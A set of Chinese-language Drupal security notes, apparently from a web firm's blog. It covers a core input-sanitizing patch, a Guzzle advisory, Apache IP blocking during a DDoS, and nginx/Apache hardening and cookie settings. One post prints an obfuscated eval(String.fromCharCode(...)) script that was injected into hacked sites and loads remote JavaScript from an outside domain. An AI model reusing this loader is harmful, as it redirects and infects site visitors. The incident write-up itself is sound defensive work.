parameters (GET): @keys', array('@keys' => implode(', ', $get_sanitized_keys))), E_USER_NOTICE); + } + + // Process request body parameters. + $post_sanitized_keys = array(); + $_POST = self::stripDangerousValues($_POST, $whitelist, $post_sanitized_keys); + if ($log_sanitized_keys && $post_sanitized_keys) { + _drupal_trigger_error_with_delayed_logging(format_string('Potentially unsafe keys removed from request body parameters (POST): @keys', array('@keys' => implode(', ', $post_sanitized_keys))), E_USER_NOTICE); + } + + // Process cookie parameters. + $cookie_sanitized_keys = array(); + $_COOKIE = self::stripDangerousValues($_COOKIE, $whitelist, $cookie_sanitized_keys); + if ($log_sanitized_keys && $cookie_sanitized_keys) { + _drupal_trigger_error_with_delayed_logging(format_string('Potentially unsafe keys removed from cookie parameters (COOKIE): @keys', array('@keys' => implode(', ', $cookie_sanitized_keys))), E_USER_NOTICE); + } + + $request_sanitized_keys = array(); + $_REQUEST = self::stripDangerousValues($_REQUEST, $whitelist, $request_sanitized_keys); + + self::$sanitized = TRUE; + } + } + + /** + * Strips dangerous keys from the provided input. + * + * @param mixed $input + * The input to sanitize. + * @param string[] $whitelist + * An array of keys to whitelist as safe. + * @param string[] $sanitized_keys + * An array of keys that have been removed. + * + * @return mixed + * The sanitized input. + */ + protected static function stripDangerousValues($input, array $whitelist, array &$sanitized_keys) { + if (is_array($input)) { + foreach ($input as $key => $value) { + if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) { + unset($input[$key]); + $sanitized_keys[] = $key; + } + else { + $input[$key] = self::stripDangerousValues($input[$key], $whitelist, $sanitized_keys); + } + } + } + return $input; + } +
项目: drupal核心
日期: 2022-03-21
安全等级: 中危 11∕25 AC:Complex/A:None/CI:None/II:Some/E:Theoretical/TD:Default
漏洞: 第3方库
CVE IDs: CVE-2022-24775
描述:
Drupal使用第3方库Guzzle来处理外部服务的HTTP请求和相应。Guzzle近期发布了一个安全升级,这可能会影响到一些Drupal站点。由于Guzzle已经发布了相关的安全漏洞,这个漏洞对于使用Guzzle做出向HTTP请求的Drupal核心、第三方模块、自定义模块,会造成影响,所以我们额外的发布了这个安全建议。Guzzle将这个安全漏洞评级为低风险。
解决方案:
安装最新版本
如果你使用的是Drupal 9.3, 那么升级到 Drupal 9.3.9.
如果你使用的是Drupal 9.2, 那么升级到Drupal 9.2.16.
低于Drupal9.2的版本,已经结束了生命周期,官方不再提供安全支持。Drupal8也已经结束了官方支持。
Drupal 7 不受影响.
报告人:
Damien McKenna drupal安全小组
修正人:
xjm drupal安全小组
Alex Pott drupal安全小组
Lee Rowlands drupal安全小组
Greg Knaddison drupal安全小组
Peter Wolanin drupal安全小组
原文:https://www.drupal.org/sa-core-2022-006
网站又受到了DDOS攻击,由于apache是放在了nginx的后端运行,所以日志看不到用户的真实IP
apache2.4自带了mod_remoteip,我们将它启用,在http.conf的配置中:
LoadModule remoteip_module modules/mod_remoteip.so
增加如下代码:
<IfModule remoteip_module>
RemoteIPHeader X-Forwarded-For
RemoteIPProxiesHeader X-Forwarded-By
</IfModule>
LogFormat里面增加'%a':
LogFormat "%h %a %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %a %l %u %t \"%r\" %>s %b" common
原来没有,这个%a就是用来输出真实IP地址的。
这个时候在apache的日志里面就可以看到黑客的真实IP地址。
如何封掉这个IP呢?在apache的配置文件http.conf里面使用下面的代码:
<If "%{REMOTE_ADDR} == '221.122.70.2'">
Require all denied
</If>
上面的参考代码:
https://httpd.apache.org/docs/2.4/howto/access.html
<If "%{HTTP_USER_AGENT} == 'BadBot'">
Require all denied
</If>
我开始不确定这个REMOTE_ADDR就是环境变量的名字,后来换成HTTP_REMOTE_ADDR,apache就会重启不了。检查日志和错误日志,发现了变化。确认上面的代码是有效的。
我这段代码,只能封一个IP,这里的REMOTE_ADDR就是真实IP。
重启apache,这个用户的访问记录仍然存在,错误日志里面,
[Sat Feb 16 12:56:37.229612 2019] [authz_core:error] [pid 7104:tid 1800] [client 221.122.70.2:4488] AH01630: client denied by server configuration: ..., referer: http://www.example.comn/sites/all/modules/superfish/admin.php
经过观察,确实限制住了黑客的攻击行为,但是黑客的攻击行为还是到达了apache。只是到达以后,就被封掉,后续没有支持php,mysql,对正常用的影响就不大了。
这个黑客很熟悉Drupal,发送的DDOS请求都是Post。
最近有多个Drupal网站被黑了,其中一个症状,首次访问首页面,会跳转到别的页面,黑客页面。第二次访问正常。
这个极有隐蔽性,刚开始我还以为是浏览器点错了呢,因为后面就正常,后来检查,发现页面被注入JS代码。类似这样的代码:
<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 122, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 115, 99, 114, 105, 112, 116, 34, 41, 59, 32, 122, 46, 116, 121, 112, 101, 32, 61, 32, 34, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 34, 59, 32, 122, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 106, 115, 46, 108, 111, 99, 97, 108, 115, 116, 111, 114, 97, 103, 101, 46, 116, 107, 47, 115, 46, 106, 115, 63, 99, 114, 116, 61, 110, 101, 119, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 122, 41, 59));</script>
解决办法,找到注入的模板文件,一般是html.tpl.php,Drupal7下面,删除即可,同时检查用户角色,权限,看看有没有异常。
作者:亚艾元技术部
禁用不需要的http方法:
HTTP支持的方法要多一些,实际我们平时用的就是GET|HEAD|POST, 对于TRACE和DELETE,就不常用,而且后面两种方法经常带来潜在的危险,比如跨站追踪攻击和窃取cookie信息等等。
通过下面的代码,即可禁用:
if ($request_method !~ ^(GET|HEAD|POST)$ ) { return 405; }
X-Frame-Options:
add_header X-Frame-Options "SAMEORIGIN";
X-XSS 保护:
add_header X-XSS-Protection "1; mode=block";
禁止显示nginx版本信息:
默认response header会显示:
Server: nginx/1.16.1
这样会泄露我们使用了哪个nginx版本。添加以下代码:
server_tokens off;
客户的网站,要应对安全检查,下面是对安全问题的回复总结
1,有无登录失败次数限制,
有,6次封IP
2,用户在线有效时长,越短越好
可以在settings.php里面配置
3,一个账号同时只能有一个人在线。
session_limit,可以配置限制次数。限制为1,自动踢出旧有登陆
4,搜索框,有过滤么
有。
5,恶意文件防护
自带防护PHP可执行文件的上传。
6,网站日志:
apache有日志, 网站本身有日志。
7,同时在线用户数,500?
8,密码强度
https://www.drupal.org/project/password_policy
9,windows 文件夹共享默认打开了, net share
https://jingyan.baidu.com/article/fdbd4277bce713b89f3f486a.html
运行窗口,在窗口中输入命令gpedit.msc
点击“用户配置/管理模板/共享文件夹”菜单项
在右侧窗口中找到“允许发布共享文件夹”设置项。
右键点击“允许发布共享文件夹”的设置项后,在弹出菜单中选择编辑菜单项。
这时就会弹出“允许发布共享文件夹”的编辑窗口,在窗口中点击“已禁用”设置项,最后点击确定按钮。
Icons目录关闭:
# We include the /icons/ alias for FancyIndexed directory listings. If
# you do not use FancyIndexing, you may comment this out.
#
# Alias /icons/ "E:/xamppnew/apache/icons/"
#<Directory "E:/xamppnew/apache/icons">
# Options Indexes MultiViews
# AllowOverride None
# Require all granted
#</Directory>
注释掉,重启即可。
X-Frame-Options头缺失
在apache配置文件中添加一行信息即可。
Header always append X-Frame-Options SAMEORIGIN
LoadModule headers_module modules/mod_headers.so
已修正。
作者:亚艾元技术部
安全检查公司检查做了的网站,0个高危漏洞,1个中危漏洞,当然还有很多轻微的问题。
这里的这个中危漏洞,就是:
任何以明文形式发送到服务器的 cookie、会话令牌或用户凭证之类的信息都可能被窃取,并用于身份盗窃或用户伪装。
HTTPS Session Cookie 'secure' Attribute Not Set
给出的解决建议是:
给cookie添加secure属性
我通过搜索查找,找到了一篇同样的问题:
https://drupal.stackexchange.com/questions/194805/setting-secure-cookies
这是Wim Leers给出的回复,他是Drupal8核心开发人员,也是acquia CTO办公室的主力开发人员:
hich cookie is this? All of Drupal 8's cookies are secure.
The exception is BigPipe's no-JS cookie, see https://www.drupal.org/node/2678628 — but there are no security consequences there.
If that's the one that is triggering this alert, then the problem is clear: your security testing tool is making blanket statements that don't make sense.
所有的Drupal cookie都是安全的,这个安全警告没有任何意义。
我这样回复了客户,总觉得还不够。
后来又搜索了一下,如果是apache的话,可以这样配置:
Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
如果是nginx的话,需要配置:
https://github.com/AirisX/nginx_cookie_flag_module
打包安装这个模块。需要从源码build,
location / { set_cookie_flag Secret HttpOnly secure SameSite; set_cookie_flag * HttpOnly; set_cookie_flag SessionID SameSite=Lax secure; set_cookie_flag SiteToken SameSite=Strict; }
由于生成站点上面的nginx已经安装好了,所以就没有从头build。
另外一个办法,给出了这个配置:
proxy_cookie_path / "/; HTTPOnly; Secure";
我尝试了一下,结果整个cookie都不显示了,匿名用户。不过对于登录用户,还是显示的。
我看很多人也遇到了这样的问题,根据上面的链接里面给出的部分代码:
ini_set('session.cookie_secure', 1); ini_set('session.cookie_httponly', 1);
我查找了一下cookie_secure,Nodepad++,全文搜搜 namespace Drupal\Core\Session下面的SessionConfiguration。 $request->isSecure(); 通过这段代码,我突然想到了,我们的Drupal站点是在一个负载均衡nginx的后面运行了,经过了一层代理。负载均衡设置了https,不过后台没有设置。或许这个是和代理有一点管理。 https://medium.com/@lmakarov/drupal-8-and-reverse-proxies-the-base-url-drama-c5553cbc9a3e https://www.drupal.org/node/425990 重新设置的proxy上面的nginx的配置: 为Drupal8站点添加以下配置:
现在通过chrome浏览器的开发者工具,看到的header响应
/**
* {@inheritdoc}
*/
public function getOptions(Request $request) {
$options = $this->options;
// Generate / validate the cookie domain.
$options['cookie_domain'] = $this->getCookieDomain($request) ?: '';
// If the site is accessed via SSL, ensure that the session cookie is
// issued with the secure flag.
$options['cookie_secure'] = $request->isSecure();
// Set the session cookie name.
$options['name'] = $this->getName($request);
return $options;
}
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto https;
proxy_set_header X-Forwarded-Port 443;
proxy_set_header Host $host;
$settings['reverse_proxy'] = TRUE;
$settings['reverse_proxy_addresses'] = array($_SERVER['REMOTE_ADDR']);
Server: nginx
Transfer-Encoding: chunked
Vary: Cookie